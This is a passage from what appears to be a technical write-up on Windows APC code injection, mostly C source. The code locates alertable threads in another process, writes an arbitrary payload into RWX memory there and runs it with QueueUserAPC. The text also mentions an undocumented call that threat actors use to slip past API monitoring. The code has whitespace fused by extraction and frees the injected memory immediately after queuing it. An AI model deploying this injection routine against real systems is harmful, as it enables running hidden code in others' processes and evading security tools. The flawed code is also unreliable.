GetQueuedCompletionStatusEx(port,&lap,1,&n, INFINITE, TRUE);CloseHandle(port);return0;}HANDLE find_alertable_thread2(HANDLE hp,DWORD pid){HANDLE ss, ht, evt[2], h =NULL;LPVOID rm, sevt, f[6];
THREADENTRY32 te;SIZE_T rd;DWORD i;CONTEXT c;ULONG_PTR p;HMODULE m;// using the offset requires less code but it may// not work across all systems.#ifdef USE_OFFSETchar*api[6]={"ZwDelayExecution","ZwWaitForSingleObject","NtWaitForMultipleObjects","NtSignalAndWaitForSingleObject","NtUserMsgWaitForMultipleObjectsEx","NtRemoveIoCompletionEx"};// 1. Resolve address of alertable functionsfor(i=0; i<6; i++){
m =GetModuleHandle(i ==4?L"win32u":L"ntdll");
f[i]=(LPBYTE)GetProcAddress(m, api[i])+0x14;}#else// create thread to execute alertable functions
evt[0]=CreateEvent(NULL, FALSE, FALSE,NULL);
evt[1]=CreateEvent(NULL, FALSE, FALSE,NULL);
ht =CreateThread(NULL,0, ThreadProc, evt,0,NULL);// wait a moment for thread to initializeSleep(100);// resolve address of SetEvent
m =GetModuleHandle(L"kernel32.dll");
sevt =GetProcAddress(m,"SetEvent");// for each alertable functionfor(i=0; i<6; i++){// read the thread context
c.ContextFlags = CONTEXT_CONTROL;GetThreadContext(ht,&c);// save address
f[i]=(LPVOID)c.Rip;// queue SetEvent for next functionQueueUserAPC(sevt, ht,(ULONG_PTR)evt);}// cleanup threadCloseHandle(ht);CloseHandle(evt[0]);CloseHandle(evt[1]);#endif// Create a snapshot of threads
ss =CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);if(ss ==INVALID_HANDLE_VALUE)returnNULL;// check each thread
te.dwSize =sizeof(THREADENTRY32);if(Thread32First(ss,&te)){do{// if not our target process, skip itif(te.th32OwnerProcessID != pid)continue;// if we can't open thread, skip it
ht = OpenThread(
THREAD_ALL_ACCESS,
FALSE,
te.th32ThreadID);if(ht ==NULL)continue;// found alertable thread?if(IsAlertable(hp, ht, f)){// save handle and exit loop
h = ht;break;}// else close it and continueCloseHandle(ht);}while(Thread32Next(ss,&te));}// close snap shotCloseHandle(ss);return h;}
Conclusion
Although both methods work fine, the first has some advantages. Different CPU modes/architectures (x86, AMD64, ARM64) and calling conventions (__msfastcall/__stdcall) require different ways to examine parameters. Microsoft may change how the system call wrapper functions work and therefore hardcoded offsets may point to the wrong address. The compiled code in future builds may decide to use another non-volatile register to hold the alertable parameter. e.g RBX, RDI or RBP.
Injection
After the difficult part of detecting alertable threads, the rest is fairly straight forward. The two main functions used for APC injection are:
The second is undocumented and therefore used by some threat actors to bypass API monitoring tools. Since KiUserApcDispatcher is used for APC routines, one might consider invoking it instead. The prototypes are:
NTSTATUS NtQueueApcThread(
IN HANDLE ThreadHandle,
IN PVOID ApcRoutine,
IN PVOID ApcRoutineContext OPTIONAL,
IN PVOID ApcStatusBlock OPTIONAL,
IN ULONG ApcReserved OPTIONAL);VOID KiUserApcDispatcher(
IN PCONTEXT Context,
IN PVOID ApcContext,
IN PVOID Argument1,
IN PVOID Argument2,
IN PKNORMAL_ROUTINE ApcRoutine)
For this post, only QueueUserAPC is used.
VOID apc_inject(DWORD pid,LPVOID payload,DWORD payloadSize){HANDLE hp, ht;SIZE_T wr;LPVOID cs;// 1. Open target process
hp =OpenProcess(PROCESS_DUP_HANDLE|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_VM_OPERATION,
FALSE, pid);if(hp ==NULL)return;// 2. Find an alertable thread
ht = find_alertable_thread1(hp, pid);if(ht !=NULL){// 3. Allocate memory
cs =VirtualAllocEx(
hp,NULL,
payloadSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);if(cs !=NULL){// 4. Write code to memoryif(WriteProcessMemory(
hp,
cs,
payload,
payloadSize,&wr)){// 5. Run codeQueueUserAPC(cs, ht,0);}else{printf("unable to write payload to process.\n");}// 6. Free memoryVirtualFreeEx(
hp,
cs,0,
MEM_DECOMMIT | MEM_RELEASE);}else{printf("unable to allocate memory.\n");}}else{printf("unable to find alertable thread.\n");}// 7. Close processCloseHandle(hp);}
Login
